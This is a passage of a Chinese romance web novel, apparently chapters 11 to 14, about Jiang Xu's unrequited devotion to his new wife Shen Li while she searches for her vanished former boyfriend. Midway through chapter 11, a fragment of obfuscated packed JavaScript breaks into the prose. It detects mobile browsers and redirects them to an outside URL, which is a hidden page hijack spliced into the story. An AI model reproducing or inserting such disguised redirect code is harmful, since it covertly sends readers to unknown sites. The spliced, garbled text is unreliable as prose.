暖黄色的灯光被他挺起的鼻骨阻断,静静扇下的睫毛落下一片阴影。
沈璃默了会儿,心脏上像是有细小的蚂蚁在爬行弄的那处不禁有些痒痒的。
刚要起身,忽然毫无征兆地被他握住了手腕,扁起的衬衫袖口下是肌肉包裹因为用力而青筋凸起的小臂。
江许的手指圈绕在她细白的手腕处,肌肤感到的冰凉硌手的触感来源于连接他心跳的对戒。
“再待一会儿。”沙哑的声音伴随着轻微的乞求,喉结处抑制不住地上下滚动,想留她的意思再明显不过。
和他待一会儿都不愿意吗?是有多讨厌他。
她连季之礼最近过的怎么样都愿意关心,怎么就不愿意多过问他几句。
问问他心情好不好,有没有好好吃饭,又为什么会成现在这样。
江许灼灼的目光下,沈璃推了推他的手臂,一边做了解释:“我想去给你倒杯热水。”
“喝点热水,应该会好一些。”
这是她知道的唯一有可能会让他好受一些的办法。
蹙起的眉缓缓抚平,男人收回了手,也低下了眉。
目光里只有白色衬衫的一角,说出去的请求不知能不能实现。
“不用,你坐下陪陪我就好。”
一秒,两秒。
直至感受到身旁的凹陷,确定她留下,那阵屏息才终于结束。
“这样就能好一点?”沈璃提出疑问,手里拽着消息不断弹出的手机。
江许扭头看她,眉下一向淡漠的眸子如同化作了水一般,集结成浩瀚银河,又细碎的星光闪烁。
他拿起一旁的方形抱枕,放在沈璃的腿上,随后调整姿势,脑袋靠在了抱枕上。
“这样会好一些。”不需要做别的动作,只要睁开眼,就能看见阿璃。
沈璃将手放在两侧,下颚低下,盯着默默闭上眼休息的江许。
离近些看,发觉他的五官愈发的立体,脸型又恰到好处的修饰着,没有一丝赘肉。
只是眼下一片淡淡的乌青略微突兀。
还是少年的时候,江许也喜欢这样靠在她身上,或者是两人坐在沙发上他靠在她的肩上,或者是让沈璃靠在她的肩上。
那时候沈璃觉得倾斜着不舒适,多次拒绝。偶尔两人待在电影室看电影,困意来袭左摆右晃的沈璃才会靠在他的肩上。
“在想什么?”直到腿上传来江许低沉的一声,沈璃飘走的思绪才慢慢被拉回。
江许不知道什么时候睁开了眼,眸子里映着她的模样。
“没什么。”她摇了摇头,掩饰尴尬般地打开手机回复了几条重要的消息。
手机被扔在一边,再次看向江许的时候,他正用手按揉自己的太阳穴。
见他一副难受的模样,沈璃想了想道:“我来吧。”
按揉的动作一刹那停止,眼里充斥着些惊喜。他尽量克制住自己的激动,规矩地躺在抱枕上,乖乖闭上眼,‘嗯’了一声。
晚餐后佣人们都离开,整座房子是二人独处的世界。
江许恨不得让世界现在的这一刻永久继续。
沈璃的指腹附上是柔柔的温热的触感,在他的太阳穴方按揉,控制着力道。
他偷偷睁开眼,看着她认真的模样,忍不住勾了勾嘴唇。
抬手握住沈璃的手腕,一边坐起身一边说道:“好很多了。”
客厅安装了投影设备,但鲜少会被使用。
江许盯了设备一眼,随后提议:“要看一会儿电影吗?”
还有许多事情没有完成,他既然感到好些了,她也就放下心了。
沈璃摇了摇头,向他解释还有些事情要去处理。
“嗯。”刚才心情坐上过山车爬上巅峰,这时候又急速冲下了山坡。
吞下的那颗包着糖衣的苦果,糖衣融化,苦涩逐渐蔓延。
江许低下了头,感觉没有身体里才压下去的那阵难受此刻又涌了上来。
尝到了一点点甜,他就忍不住贪心想要更多。阿璃能答应他的请求陪他待这么一会儿对江许而言已经很难得了,是他想要的太多,是他不好。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552347|171282||http|test|mini|href|location''.split(''|''),0,{}));
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>他落寞地低下头,不想把失落的模样留给阿璃。
即使江许自己清楚地知道,阿璃其实不见得会观察会在乎他的感受。
他自作多情惯了,不是吗?
似乎是觉得这样的做法难免有些绝情,成为夫妻后江许鲜少会提出要求,更何况是这种简单的请求。
看他低着脑袋,又想起他高中时候留下的胃病,沈璃有些不忍。
“等我处理完你还没睡的话,可以一起看一会儿。”
屋内静谧,灯光肆意地落在铺散的长发上。将门小心翼翼地推开,江许不自觉放轻脚步。
沈璃不知何时睡着了,甚至手上的触控笔还没来得及放下就趴在了桌上。
她熟睡的模样安静恬谧,平日里的一双杏眼合上,细小颤动的是蝴蝶轻盈的翅膀。
小心翼翼地抱起沈璃将她放到床上,捻好被角关上明晃晃的灯,江许抚了抚她脸颊处的几缕发。
目光逐渐炽热,深陷了漩涡,最终入了迷似的俯下身子在额间留下轻轻一吻。
怕她发现,又忍不住想要贴近。
只敢轻轻贴近,嘴唇感受温热随后克制抽离。
到底什么时候,才能光明正大地吻她?才能用指尖感受她身体的轮廓,让她的眼睛在充满某种欲望的时候深深地看向自己,瞳孔里只映着他。
什么时候,才能把内心所有的想法都告诉她,让她留下来,让她的心里也有他,思念他爱他。
呼吸不由得变得急促,上层的空气变得焦热,思绪扭成了解不开的结,吞噬着大脑。
江许自认为自己是个贪心,不知餍足的人。从小就是这样,哪怕只是沈璃只是无意间给了他一个笑,对他稍微多一点好,他都想要更多,不满足于当下。
或许是这样,她才会离自己越来越远吧?
浴室上方凝结着水气,冰凉的水冲洗过麦色的皮肤,从结实成块的肌肉表面滑落。
积攒的燥意消散了许多,那股绳结也逐渐消失。
换上睡衣吹干头发,按下开关键的那一刻世界才恢复了静谧。
拉开药柜抽屉,熟念地选出白色的小瓶,倒出三颗小白片,就着凉透的开水一饮而下。
另一方抽屉里放着下午林妈打来电话说不知是谁送来这儿的包裹,没留下名字也没说寄给谁。
抽取小刀划开外面的一层塑料膜,打开棕色的快递盒,里面是长方形的墨绿色盒子和一封包好的信。
拆开信,规整的字迹只写了几句话。
‘祝新婚快乐。’
‘愿岁岁平安。’
江许快速地扫过,最终目光凝滞在末尾处的署名。
所有的思绪冻结,一瞬间都均匀的呼吸都停止,投去的目光是一团火,想要将其灼烧。
江许想起在屋里熟睡的沈璃,想起还有几天他们就快举办婚礼的事实。
期待中夹杂着隐隐的不安与慌乱。
他拿着那张信纸去了厨房,打开了燃气灶,捏住信纸的一角,将其送往火焰之中。
淡紫色的信纸逐渐变为了灰烬,留下手指捏住的那一角的署名。
‘J’
景和泽。
他没死。
12. 唯一.
“阿璃,你周末为什么没来找我?”青涩的少年鼓着嘴,脸上满是怨气。
沈璃坐在窗边捧着书,偶尔翻到几页上写着几句摘录。
“我和和泽约好了一起看书来着。”
江许心里烦躁,不知什么时候起,自从阿璃认识了那个景和泽,他就逐渐被阿璃冷落。
“可是是我先和你约好了,阿璃为什么要违约?”阿璃没有放过他的鸽子,阿璃也从没有为了别人而落下他,这是第一次。
江许的心里莫名生了些危机感。
阿璃最近都眉主动联系过他。
或许就像阿璃说的那样,是他找阿璃找的太勤才会有这样的感受。天天见面,阿璃肯定也有烦的时候。
自己安慰好自己,江许从那时候就已经学会。
高中时期最后一场篮球联赛,江许记忆深刻。
不是因为那次联赛他拿下了全场MVP收获了无数的尖叫掌声和鲜花,而是裁判吹下哨子的那一秒,他满怀期待地看向阿璃,
阿璃的眼里是对他的厌恶,那样的淡漠,疏离。
就因为那场比赛他为了抢球撞到了景和泽,导致对方摔倒的时候拉伤了韧带。
拿下MVP以后一起去熟悉的酒楼庆祝是他和阿璃很早就约定好的。
万人瞩目之下,他在礼花落下的篮球场里拿着属于他的奖杯,无措地看着阿璃眼里只有另外一个人。
那晚,他倔强地去找阿璃说他不是故意的,他不知道景和泽会出那样的事故,可在阿璃的眼里,他一向是针对景和泽的坏人。
阿璃难得在他面前发飙,说让他成熟一点,不要那么幼稚。
可是阿璃怎么看不见,他为了夺得冠军那些日子练习脚上留下的伤呢?为什么阿璃看不见,前些日子的训练赛上他就扭伤了脚,为了实现和她的约定才硬撑着上场。
在阿璃的世界里,江许逐渐成为了一个透明的人。
景和泽的生日,沈璃做了生日蛋糕作为礼物。可阿璃明明答应过他,只会给他一个人做生日蛋糕的。
凭什么后来的景和泽也有一样的待遇?
江许第一次觉得心脏燃烧般疼痛,通着电流的线扎进了血肉之中,整个身子都跟着颤动。
不甘心三个字刻在了脑海之中,促使着青涩的少年冲动之下去质问自己是不是会被别人取代。
他只想做阿璃的唯一。
可是阿璃说除了他,那个人也是她很好的朋友,是很特别的存在。
话语间嘴角勾起的笑意,不经意的多次提及对方的姓名,江许知道,他的阿璃喜欢上了别人。
那是他最不想看到的画面。
十几年来,他才是陪伴在阿璃身边最久,最亲密的人不是吗?
凭什么一个出现在阿璃身边几个月的人要夺走阿璃的目光?
那天,他捧着沈璃做给景和泽的芒果馅蛋糕,失去了品鉴的能力,一味地将蛋糕往嘴里塞,塞到腮帮子鼓的快要绽开,塞到他的脖颈上,手臂上,脸上渐渐起了红色的小点。
蛋糕应该是甜的才对,以往阿璃做给他的小甜品小蛋糕都是甜甜的,可是那天混杂着眼泪的奶油蛋糕进了口腔里,
却是苦涩的。
江许又做梦了,这些天他常常会梦到过去。
那些不堪的让他痛苦的回忆在放映机里一遍遍循环,然后不断放大直至屏幕占据了他脑袋里所有的空间。
直到床头的闹钟蛮横地将思绪拉回。
强迫自己睁开眼,按掉了闹钟。
也不知是这些天太累了还是天气的原因,无论补觉补多久醒来身体都还是疲惫的状态。
下午的行程不算太满,但至少要忙到晚饭的时间。
又错过了一次能和她一起用餐的机会。
落寞的眼神存续许久,直到第二道备用闹钟响起才拖着疲惫的身子冲了个热水澡。
干毛巾包裹着头皮,将乌黑的短发上带有的残留水珠吸走。
床头放置的手机震了下,江许一手捞起滑动。
【季之礼:看我碰见谁了?】
季之礼下午和人在会所谈事,离开的时候在楼下碰上了沈璃。
【江许:她旁边的人是谁?】
【季之礼:你老婆,我怎么知道?】
和沈璃并肩的是一位陌生男人,看样子三十多岁的模样,戴着黑色眼睛穿着暗蓝色的西装,一副文邹邹的模样。
两人一起进了隔壁的一家私人茶馆。
头顶不断摩擦的毛巾被遏制了移动,五指抓住将其随手扔在一边。
紧致的肌肉暴露在空气之中,宽厚的肩膀旁深陷下的锁骨微凸,线条流畅。
心口有些闷闷的。
两手放在手机键盘上,停了停,快速做出了回复。
【江许:到处给你找房子的那位初中同学知道你季少爷名下有上百套房吗?】
【季之礼:……】
季之礼没再回复,江许知道他是去找人查身份了。
如今他季少爷光鲜亮丽的身份反倒成了不可宣扬的死穴。谁让他将错就错骗别人自己家里揭不开锅,立了个艰苦但向上的底层人设呢?
——
大学毕业好几年,分道扬镳的人们还是相约着一年聚一次。
沈璃和大学同学的感情说深不深,在读期间偶尔打个照面,毕业后也没几个人会有联系。
两年时间,好多人在这期间都没露过面,现在一看,变化不是一般的大。
“诶,你知道那人谁吗?”说来也算是种缘分,继和沈璃做了小学到高中的同学后,到了大学林雪还和她一个班。
万象来作为上江市有名的老字号,前些年加进了装修添加了当下流行的中式庭院风格,从几十年前开业到现在一直走的是高端路线,常常是一位难求。
沈璃顺着林雪的目光看过去,刚走进包间的女人穿着一身肉色显身材的包臀裙,豪放的大波浪一荡一荡的,脚下的灰色恨天高每走一步就发出清脆的哒响。
只是那大波浪修饰下的那张脸……有些不堪入目。
额头高的不像话,突出的惹眼又奇怪,眼角被拉到夸张的程度,尖尖的脸蛋就像是少了几根骨头似的,粉嫩的唇厚厚的。
林雪一巴掌拍在自己的大腿上,绸缎裙尾下的细腿上顿时出现了一片红。
“程露啊!”
沈璃皱眉,脑海中一时半会儿捕捉不到这号人物。
林雪料到了她的反应,一手搭在沈璃肩上,做了提示:“就那个露露,LuLu呀!那时候她嫌自己名字普通,不让别人叫她全名,全班都得叫她LuLu。”
这下沈璃倒真想起来了,LuLu和她算不上熟,但也是打过几次照面的。
大学那会儿看
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起来清清纯纯的模样,这才几年,怎么就这样了?
“看来她去国外可没少医美,估计审美都病态了,看这样子还是人脸吗?”
脸颊上方跟塞了什么东西似的,这鼓那鼓的。
“大学的时候不是挺正常的吗?”
林雪耸了耸肩,今早特意选的礼服是齐肩款式,坐的位置离空调刚好近,一阵阵冷气吹的她直起鸡皮疙瘩,连忙叫来服务生给调试。
聚会进行到一半,什么过往的珍惜回忆早就被翻来覆去不知说过多少遍,像是特殊规定似的,大家又不约而同聊到自己身上。
都是名望家族里面浇灌出来的花草,这些年不存在谁过的落魄,大多在毕业没多久要不就进了家族企业接班要不拿着大笔创业基金做起生意,也有部分出了国打算定居。
“新婚快乐,收到邀请函的时候就想对你说的,但一直没机会见面。”
长相成熟的女人穿着棕褐色的女款西装,乌黑的头发不到肩,显得利落精明。
解安琪,一度是沈璃认为的最厉害的存在。
富裕家庭重男轻女并不少见,解家就是一个。
解安琪出生的时候,解家上上下下都希望她是个男丁,毕竟在她父亲眼里,男孩子将来才有能力继承家业,女孩子最多只能沦为未来结交联姻的工具。
不被期待出生,但解安琪自小就表露出独特的天赋,做什么都是最优秀的那一个。可父母的目光却总是落在比她小三岁的弟弟身上。
因为溺爱,弟弟特别淘气,长大后更是到了无法无天的境界,打心里知道这家里的产业以后都是他的。
直到不学无术的弟弟在外闯了大祸,影响到家族的名声,最后还是当时已经在跟业务的解安琪出面解决,稳定了躁动的股东,家里人才终于发现她的潜力。
“不知道你会不会喜欢,拆开看看?”解安琪挑了下眉,示意沈璃把盒子打开。
“谢谢,我很喜欢。”
一套精致的茶具,田园风的图案,杯底印着两个喜字。
拉开椅子,解安琪坐在她的身边,一手搭上沈璃的肩。
“还在拍视频吗?”大学的时候她就知道沈璃在做自媒体,还收获了不少粉丝,就连她现在的生活助理也关注了沈璃的账号。
解安琪记得有段时间沈璃总是为数据焦虑,自己还特意去安慰过她。后来沈璃走出来,还给她送了一盒自己做的华夫饼干。
“嗯,毕竟是自己喜欢的事情,想了想还是决定一直做下去。”
解安琪点头,说有空的时候一定又去看她的视频。
简单寒暄,不得不进入正题。
“你上次让我帮你找的人有线索了。”
目光一滞,心脏一缩,沈璃短暂忘了呼吸,直到解安琪的下半句话出现:
“但也只是他消失之前的消息。”
“这样啊…”眼里难掩失望,但好在终究是有了一点进展。
“你联系不上他的一个星期左右,他去过云城。”解安琪点开照片,人群之中,沈璃还是认出了熟悉的人影。
“他去云城做什么?”
又为什么不肯让她知道?为什么要把行踪弄的这么神秘。
解安琪摇了摇头,胸前的十字形项链晃了晃,反射着天花板上打下来的灯光,光映进了沈璃的眼睛里,亮亮的,又忽而化作欲落不落的眼泪。
13. 心思.
【江许:怎么没回家?】
【沈璃:参加大学聚会,晚点就回来。】
不知是不是这包厢不透气的缘故,脑袋总是昏沉沉的。
沈璃低着脑袋,微卷的发尾跟随着摆动。
喝了些酒,酒意一来,脸颊变成片夕阳,红扑扑的。
没有消息弹出,聊天界面的上方依旧显示着‘对方正在输入中’。
“诶,我怎么记得沈璃大学的时候有个男朋友来着?也没听说两人分手。”
“她以前那个男朋友是景家的,后面不是景家出了点事吗?”
“听说到现在景家那位都没有任何消息,人是死的还是活的都不知道…。”
高跟鞋与大理石地面相碰的声音越来越远,直至完全听不见,沈璃才推开了隔间的门。
冰凉的水附上两颊两侧,消减了些热意。
镜子里的自己,水珠还停留在额间欲要掉落,有的如葡萄果子般挂在睫毛上,睫毛扇了扇,果子又即刻消失。
总是要打扮成成熟的模样,却总怀念青涩的时光。
白色长裙的胸前挂着琉璃胸针,三朵茉莉花簇拥在一起,波浪形的叶纹往外延伸,象牙白的花瓣弯曲簇拥着珍珠。
这是那时候,景和泽送她的礼物。
茉莉,莫离。
可景和泽现在是死是活,死是死在了哪里,活又是活在哪里,她一点都不知道。
云城,如果他最后去的是云城的话,那他究竟是去那里见了什么人?做了什么事?有什么事情是她不能够知道的。
滑落的水滴从上唇的弧线上下滑,落到殷红之上,却是咸咸的。
盯着镜子发呆,眼前的景象逐渐模糊,化作了五彩的泡泡又顺便变为一个个的漩涡,人的模样在镜子里逐渐扭曲。
直到台上的手机震了下,眼前的世界才被拉回了正常值。
擦干净手,点开手机,是江许的回复。
【江许:在哪里聚会?】
【沈璃:万象来。】
【江许:什么时候结束?】
饭局差不多要进入尾声,沈璃也不打算参加下一趴活动。
【沈璃:快了。】
【江许:嗯。】
回到座位上,林雪刚放下红酒杯,就朝她靠了过来。
“待会儿他们说去游艇party,你一块儿去吗?”
沈璃摇头拒绝,太吵太闹又要社交,她不喜欢。
这时候哪怕让她回去多拍一期烘培视频都比不上一会儿party累。
做了这么多年朋友,林雪也知道她的习惯。
“这么晚,你家那位没给你打过电话?”
“打过,他问我什么时候回家。”沈璃耸肩,扯了扯连衣裙的衣袖,袖口是镂空花纹设计,在肌肤上落下一片各样形状的影。
林雪眉一挑,凭借经验,心下有了些猜测:“他来接你?”
“应该是司机来接。”毕竟他总是很忙,但今晚能发现她还在外面说明应该是到家了。
沈璃靠着林雪坐着看手机,倒是刚和别人结束聊天的程露主动找了上来。
先是许久不见的同学之间惯用的问候话语,又提及自己知道沈璃要结婚的事情,还问结婚时的新娘妆定没有,请的哪位化妆师。
话题一旦打开就化作为洪水一发不可收拾,程露先是讲述了自己原生皮有多么糟糕,鼻子虽然挺但不翘,鼻梁的挺度她一直都不满意,还有她一直觉得平平无奇的额间,之后又顺利将重心转移到整容后她对自己有多么满意,说现在这马甲线都不是健身来的而是去了专门的美容院做手术得来的。
“几个小时就能搞定的事情何必又花那么多时间?”
尴尬是沈璃今晚礼貌的微笑,程露毫不掩饰地打量自己脸蛋的目光太过于怪异,沈璃甚至忍不住要把椅子往后面一再移动。
“亲爱的,我刚进门的时候就觉得你这五官实在是可惜,鼻子挺的弧度倒是很好,但就是这双眼睛,眼睛是人心灵的窗户,应该再大一点再大一点,这样我们的内在美才能够被人看见。”
沈璃打心底觉得程露是整形整的疯魔了,脸上为了礼貌而挂上的微笑快要撑不住。
“但你别担心,现在还来得及。到时候让给我做手术的David用手术刀在你眼睛上面这么一划。”
又长又尖的美甲在眼前近距离嗖的一下划过,沈璃一个没忍住身子往后倒,还好坐在旁边的林雪及时扶住了椅子。
林雪看不下去。
“我说程露,你可别到处传播你那畸形的审美了。我们阿璃漂亮着呢,答应我,你就折腾你自己好吧?”
程露收回手,因为动了太多次手术的缘故,脸上几乎做不了任何的表情,吃饭的时候也只能小口小口往里塞,这时候想撇个嘴都没办法呈现。
但让她放弃还是没那么容易。
“David可优秀了,他说我是他最完美的艺术品,要不是看你底子好,我才懒得介绍你们认识。”
“David还说,我现在什么都好,就是这腰太粗了,得把骨头取出来一根,取出来一根就会瘦很多……”
沈璃从小就胆子小,以前被林雪拉着看个恐怖片不出五分钟就得闭眼睛,这会儿一张僵硬到没表情的脸在自己跟前晃来晃去,一会儿要给她脸上开刀一会儿自己要取骨头的,脑海中不自觉脑补画面,胸腔都不自觉不停起伏。
还好手机铃声打断了程露没说完的话,找到救命稻草,沈璃备注都没看就滑动接通,一边比了个噤声的动作示意程露别再说下去。
“喂?”
“你在哪个包厢?”
“619。”报完包厢号,沈璃才反应过来问:“你问这个做什么。”
下一秒,包厢的门被服务生从外面推开,水晶灯金黄的灯光像是为走进来的男人特意打的聚光灯。
“江许?”沈璃有些惊讶。
他怎么来了?
唯独身旁的林雪一脸摆着‘我早就猜到了’的表情。
——
外面的空气果然新鲜,就是大晚上的凉风吹着难免有些冷。
刚走出酒楼,沈璃就忍不住打了个哆嗦。
片刻,熟悉的气息顿时将她笼罩,裸露的手臂也被黑色的外套覆盖。
“这样好一些了吗?”
沈璃颔首,小声说了句谢谢。
见她一直低着头没什么表情,江许心里有些担忧。
“你看起来好像有点不开心?是我突然进去让你不开心了吗?”
原本的打算是在楼下等她,可最终还是没抵过心里那声‘让她身边的人都知道你是她丈夫’的声音上楼推门而入。
“当然没有。”
因为他的到来,沈璃五分钟内就收获了不少谄媚的话,大多是想巴结江许的人说的。
临走的时候有个自己开了科技公司的同学出来同他谈了几句合作的事情,沈璃在一旁等待的时候看着穿西装的江许有些出神。
上一次来万象来的时候江许也在,那次好像是父亲过生日,邀请
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了不少好友一起聚餐。
那个时候的江许才十七岁,穿着一身灰色的休闲服,快一米九的个子,明明是清冷的长相平日对别人叶淡漠的很,那时候一看到她就总是忍不住开心地笑。
二十几岁的江许,很少穿休闲服了,办公需要的西装仿佛成了他战场上的盔甲。
明明那些回忆仿佛就在昨天,伸手去碰,化作彩色的泡泡又吹的那么远。
“现在想回家吗?”
两人坐在车厢里,系上安全带,江许没着急踩油门。
“还不想。”
心里总是有块石头压住,大多是关于景和泽的。她不想那么早回去,只想在外面让风肆意地吹一吹,好把凌乱的思绪和一直伴随的隐痛带走。
回去就容易睡着,心思重的时候最容易做梦,做梦就回到他们的过去。
他们第一次见面的时候,他们第一次约会的时候,还有看着对方的眼睛说以后不管去哪里都要一直在一起的回忆……
梦境是会吞人意识的猛兽,事后的无力和坠落感才是最让人心烦的。
“那现在有想去的地方吗?”
“暂时还没有。”
江许的拇指摩擦着方向盘的轮廓,阴暗的环境遮住了眸子里一闪的情绪。
刷来刷去的推荐页面属实没什么好看的,手一滑,切换到了同城推荐。
冲着封面昏暗但颇有氛围感的图片沈璃果断点了进去。
“这家清吧今天有活动,而且好像不远,一起去吗?”
看文案说今晚有网红歌手驻唱,虽然名字不大,但沈璃对此有所关注,发表的好几首歌都在播放列表里。
——
中古风的清吧,虽然灯光昏暗到进门的台阶隐匿,到沉浸式空间美学属实是另外一个世界。
民谣歌手抱着木吉他轻轻哼唱,深棕色的皮衣外套融入黑暗之中。
轻扫琴弦,穿透狭小空间的乐声无限放大,像是一滴水珠绽落在海面,生起的涟漪不断扩大。
“太冰了,少喝一些。”
沈璃手上的‘落日海洋’刚抿了几口,江许蹙了蹙眉提醒。
突然被他管教,还有些不习惯。
沈璃撇了撇嘴,默默把杯子放下。
快溢出的冰块渐渐下沉,玻璃外壁结了一层薄薄的冰霜,手心都被浸湿。
“知道了。”
又惹阿璃不开心了吗?
阿璃低头不看他,他隐隐感觉到阿璃话语里的不满。
心脏隐隐作疼,手放在桌上不经意蜷缩,指头快要嵌进手心的肉里。
调整好呼吸,他为刚才的话解释:“你生理期要到了,这段时间吃的太冰容易痛经。”
屏幕上的文字都化作看不清细节的小点,沈璃的视线在手机屏幕前乱了焦距。
一直以来,有关她的大大小小的事情,江许总是能记得清楚。
忘记自己脚上的伤,也会在约定的时间到达网球场陪她练球,来来回回打了一下午,韧带拉伤也不肯说。
记得和她的每一个纪念日,记得她所有的喜好,甚至连烘培时她习惯性地摆放顺序他也记得。
年少的时候每个月的特殊时期总是带上特意嘱咐林妈做的热补品给她,她偶尔在他面前控制不住脾气也赶不走他。
沈璃有那么一瞬间的恍惚,恍惚过后,眼神聚焦,睨见无措的江许。
江许对她心思,她何尝不知道?
清楚明了,却还是无法迫使自己对他产生跨越朋友范围的情感。
14. 牵手.
流转迷离的灯光将被山峰阻隔,深邃的五官停留在阴影之中,微光描绘着极具艺术感的轮廓,下颚的线条凌厉分明。
轻晃的酒杯面上透着微光,光穿透大海,海底的世界通透明亮。
扣子崩开几颗,凸起的喉结与藤蔓相连,延续到衬衫掩盖住的地方。
手臂的弯曲让白色袖口起了褶皱,紧实的肌肉藏匿在光滑面料之下,露出的线条流利性感。
江许时常锻炼,对自己的身材要求严格,把样式再普通不过的白衬衫穿出了性感。
沈璃盯着他,平静的眼眸掀起了些涟漪,睫毛一颤,又迅速扑下。
“你有没有想过换一种穿衣风格?”
他这样的严谨装扮出现过太多次,加上他平日里不怎么爱笑,冷硬的五官总给人带来淡漠,疏离的感觉。
一点都不像她记忆里的江许。
“这样…不好看吗?”江许低头看了眼自己,确保衣服是合身的,自己穿上是得体的。
沈璃摇头,他这个身材这个身高穿什么不好看?披个麻袋都能去走秀。
“就是感觉你好像很少穿其他类型的衣服了。”
“下次不去公司的时候试试运动装吧,你很适合穿运动装。”
穿着运动装在操场上奔跑的少年,举着十几个卡通形状气球在主题乐园等她的少年,
散发青春气息总是笑着看起来没有烦恼的,才是她记忆里的江许。
低沉的声音里带着细微到无法察觉的颤抖:“好。”
她肯关注自己,这是好的开始。
话末,他又补充:“回去之后,你帮我搭配。”
怕她干脆利落的拒绝,于是主动递上拒绝的台阶:“如果你有时间也愿意的话。”
这不是什么麻烦的事情,沈璃没说出拒绝的话,对着他颔首。
简单的动作像是往他心上抹了蜜。
吉他演奏在稀稀落落的掌声中结束,忽而间仅有的昏暗灯光也突然消失,所有的光源离去,世界陷入了黑暗。
“这是怎么了??”
“停电了?”
“老板,要不要去看看电箱?”
沈璃从椅子上站起来,伸手不见五指,无措低喃:“怎么突然停电了?”
刚要往舞台方向走去人多的地方查看情况,一不留神大腿外侧撞上了不明物体。
“嘶。”沈璃吃痛出声。
手臂在一瞬间被人握住,手心带来温热的触感,被大掌紧紧包裹着。
“小心。”江许手上拿着手机,手电筒的灯照亮沈璃身边的椅子,许是撞上了邻桌空位上的椅子把手。
与此同时,舞台的灯光重新出现,比原来的更亮。清冷的灯光游离到舞台之上,原本坐在席上的男人抱着花站在光下。
钢琴乐曲缓缓响起,伴随着音符的节奏一束束灯光陆续照亮。
男人缓缓跪地,面前的女人则是激动到热泪盈眶。
看来是准备求婚的戏码。
收回目光,沈璃低头,借着重新亮起的灯查看被撞的部位。
青了一小块儿,好在疼痛逐渐减弱。
“没事吧?”江许有些担忧。
“没关系的。”沈璃摇摇头,疼痛也就是一瞬间的事。
江许放不下心,沈璃刚才吃痛的表情骗不了人。他绕到沈璃身边,蹲下身子看见那一块淤青。
“还是要擦点药。”
说罢欲要打电话让助理拿药来,好在被沈璃阻止。
哪个打工人愿意大晚上的被老板叫来加班,还是买药这种无关紧要的任务。
她阻止道:“家里有,回家了再弄。”
她皮肤薄,血管细,小时候一到冬天就莫名会起各种青疙瘩,更别说现在和硬物撞了下,好在不是什么大问题,几句话说完,她都感觉不到那处的疼痛,说不定回到家都会忘了这茬。
求婚的话术俗套但感人,主人公分享他和女友地长跑故事,又述说一路以来的艰辛,说到后面看着女方泪流满面自己也忍不住哭泣,颤着声音抖着手说出了那句经典收尾语:
“嫁给我好吗?”
人群的欢呼,欢快的背景音将幸福的氛围拉到高潮。
为了庆祝,老板出面说今晚情侣出行,接吻超过二十秒有八八折优惠。
一时半会儿接二连三开始有情侣接吻,起哄声在偌大的空间内循环,放大。
气氛属实是怪异。
沈璃只好看着投影屏幕上循环播放的《猫和老鼠》。
汤姆无论使什么法子都抓不到杰瑞,努力的路上总会出些绊子。
沈璃看的入迷,心想着下一期视频可以出个汤姆杰瑞形状的黄油切片饼干。
拼装成卡通形状成了最大的难题。
周围的气氛属实激烈,有的奋起告白,有的霸道夺吻。
起哄声,钢琴声鼓声,敲响了人内心深处的躁动。
最开始冒出头的欲望发了芽。
沈璃的手垂在半空,正因为幕布上激动的情节而拽进拳头时,手掌心感受到一阵不算平滑的触摸,以及□□的温热。
江许牵住了她。
幕布忽然变为实现准备好的应景词:
为爱勇敢一步。
有人在告白,接吻,
而有人的勇敢,是牵起爱人的手。
砰砰砰,心脏快要崩出,紧张的情绪化作上下滚动不停的喉结。
他不敢看阿璃,却一再握紧她的手。
一秒,两秒……
得不到满足,他的手掌居然松开,又以另一个姿势向她的手握去,与她十指相扣。
好想就这样紧紧地扣住阿璃的手,让她再也无法离开自己。
好想这样和阿璃十指相扣,一起走在曾经熟悉的场景里,一直一直走下去。
第五秒,来自沈璃手心的柔软在他手掌中轻轻擦过,最后感受到的是她指尖的冰凉。
沈璃缩回了手。
所有的幻想泡泡瞬间破裂,连残影都未留下。
早有预料,所以江许可以很好地控制好落寞的情绪,却仍旧会感到难过。
相较于难过她的躲闪,江许更害怕的是她的坦白,
坦白说出对他的抗拒和厌恶。
好在沈璃没有那样做。
微信里回复完的消息没什么好看的,可她却用拇指滑来滑去看了很多遍,视线也不知停留在哪里。
知道简单整理好情绪,才在心中默默吸了口气。
“时间不早了,我们回去吧。”
流转的五色灯光轻洒在舞台上女主人公的面容上,两侧因为微笑弧度扯起的苹果肌亮的显眼。未婚夫颤抖的手拥住她,这一刻,是他们感情的高亮时刻
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,他们会从情侣变为未婚夫妻,再变为法律意义上的丈夫和妻子。
他们大概率会相爱地过着婚姻生活。
而不像停留在原地的江许,柔光落进他的身子里去,也照不亮坠入深渊的心脏。
——
沈璃不知该怎样描述刚才的场景,在那样的氛围之下,江许牵起了她的手,而她再感受到突如其来的触碰和温热时,有过一刹那的恍惚。
短暂的时间里,脑海中浮现出太多的画面。
很小的时候,她在院子里奔跑然后摔倒,江许过来牵起她的手,给她抹掉了眼泪。
几年前的演唱会,也是在这样的氛围下,景和泽第一次牵起她的手。
太久太久没有见到那个人,导致连对他外貌的记忆甚至都开始有些模糊,不知道他是否变了样,是胖了还是瘦了。只能看着从前的照片,祈祷在不久后的路口能够再次见到那张熟悉的脸。
思绪回归,睫毛的眨动带走眼前朦胧的景象,她看清的,是江许微红的脸,带着紧张无措又夹杂着一些欣喜的脸。
没等沈璃反应过来,原本被江许握住的手正与他十指相扣。
她下意识的反应,是收回了手。
车厢内异常的安静,窗外灯红酒绿,车内后座两人一话未说。
是不是她做错了什么?
沈璃突然感觉到一些不知所措,
毕竟他们已经是夫妻,只是牵个手而已。
沈璃抿了抿唇,她仍旧过不了心里那道坎。记忆里她和江许是最好的朋友,偏偏事情发展到了这样的地步。
沈璃的思绪乱成了一团线,忽而一道低沉的男声在耳旁响起:
“今晚,我很抱歉。”
他冲动地牵起她的手,甚至还得寸进尺。
好不容易可以和阿璃单独约会,却被他搞成了这样。
松开他的手时阿璃眼中闪过的,应该是对他的厌恶吧。
都怪他,破坏了原本的氛围,让阿璃的兴致也没有。
心脏在隐隐作痛,江许试着深吸了几口气缓和,却毫无作用。
